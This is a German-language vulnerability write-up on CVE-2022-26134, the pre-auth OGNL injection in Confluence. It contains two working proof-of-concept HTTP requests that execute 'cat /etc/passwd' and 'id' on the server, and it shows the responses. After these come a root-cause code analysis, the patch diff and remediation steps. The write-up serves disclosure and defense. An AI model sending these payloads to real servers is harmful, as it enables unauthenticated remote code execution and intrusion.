
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL)-Injektion
Confluence ist ein webbasiertes Kollaborationsprodukt für Arbeitsbereiche, das von Atlassian entwickelt wird. Es kann lokal (on-prem) oder als Teil von Atlassian Cloud bereitgestellt werden. Es besteht aus drei Hauptfunktionen: Seite, Space (Bereich) und Seitenbaum.
Am 02.06.2022 um 20:00 UTC hat Atlassian ein Sicherheitsadvisory veröffentlicht, das sich auf eine Schwachstelle zur Remote-Codeausführung (RCE) bezieht, die Confluence Server und Confluence Data Center Produkte betrifft. Detaillierte Informationen zur CVE-2022-26134-Schwachstelle finden Sie weiter unten.
Zusammenfassung: CVE-2022-26134 – Kritische Schwachstelle für nicht authentifizierte Remote-Codeausführung in Confluence Server und Data Center
Veröffentlichungsdatum des Advisories: 02. Juni 2022
Betroffene Produkte: Confluence Server und Confluence Data Center
Betroffene Versionen: Alle unterstützten Versionen von Confluence Server und Data Center sind betroffen. Confluence Server- und Data Center-Versionen nach 1.3.0 sind betroffen.
Behobene Versionen: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 und 7.18.1
CVE-ID(s): CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL)-Injektion
Proof of Concept: Beispielanfrage 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Antwort 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

Proof of Concept: Beispielanfrage 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Antwort 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
Wie funktioniert die Schwachstelle?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ in der URL wird von Confluence als Namespace geparst. Anschließend verwendet der Code translateVariables (Teil der Text-Parsing-Dienstprogramme in Confluence) auf diesen Namespace. Da translateVariables OGNL verwendet, wird der Angriff geparst und ausgewertet.
OgnlValueStack findValue(str) ist wichtig, da es der Ausgangspunkt für die Auswertung des OGNL-Ausdrucks ist. Wie Sie im folgenden Ausschnitt sehen können, ruft TextParseUtil.class OgnlValueStack.findValue auf, wenn diese Schwachstelle ausgenutzt wird.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class ruft TextParseUtil.translateVariables mit this.namespace als bereitgestellten Ausdruck auf:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Wobei namespace aus der Request-URI-Zeichenfolge in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath erstellt wird:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
Das Ergebnis ist, dass die vom Angreifer bereitgestellte URI in einen Namespace übersetzt wird, der dann bis zur OGNL-Ausdrucksauswertung weitergereicht wird. Auf hoher Ebene ist dies sehr ähnlich zu CVE-2018-11776, der Apache Struts2 Namespace-OGNL-Injektionsschwachstelle.
Die Patch-Analyse
Atlassian wies Kunden an, xwork-1.0.3.6.jar durch ein neu veröffentlichtes xwork-1.0.3-atlassian-10.jar zu ersetzen. Die xwork-JAR-Dateien enthalten die ActionChainResult.class und TextParseUtil.class, die wir als Pfad zur Auswertung von OGNL-Ausdrücken identifiziert haben.
Der Patch nimmt eine Reihe kleiner Änderungen vor, um dieses Problem zu beheben. So wird namespace nicht mehr von ActionChainResult.execute an TextParseUtil.translateVariables weitergereicht:
Vorher
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Nachher
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Dank der Ausgabe des git-diff-Befehls können Sie die Unterschiede vor und nach dem Patch bei ActionChainResult.class im folgenden Screenshot sehen. (Kopiert aus Datalog-Blogbeitrag)
Atlassian hat außerdem SafeExpressionUtil.class zum xworks-JAR hinzugefügt. SafeExpressionUtil.class filtert unsichere Ausdrücke und wurde in OgnlValueStack.class eingefügt, um Ausdrücke zu untersuchen, wenn findValue aufgerufen wird. Zum Beispiel:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
Was können Unternehmen tun, um sich vor dieser Schwachstelle zu schützen?
Da jetzt ein Patch verfügbar ist, aktualisieren Sie bitte auf eine behobene Version von Confluence. Falls ein Patch derzeit nicht möglich ist, hat Atlassian für Kunden temporäre Workaround-Anleitungen basierend auf ihren Confluence-Versionen bereitgestellt. Beide erfordern, Confluence vorübergehend herunterzufahren, während die Abschwächungen (Mitigations) angewendet werden. Weitere Informationen finden Sie in der spezifischen Anleitung des Atlassian-Advisories:
Weitere Informationen zur Behebung dieser Schwachstelle finden Sie unter den folgenden Ressourcen: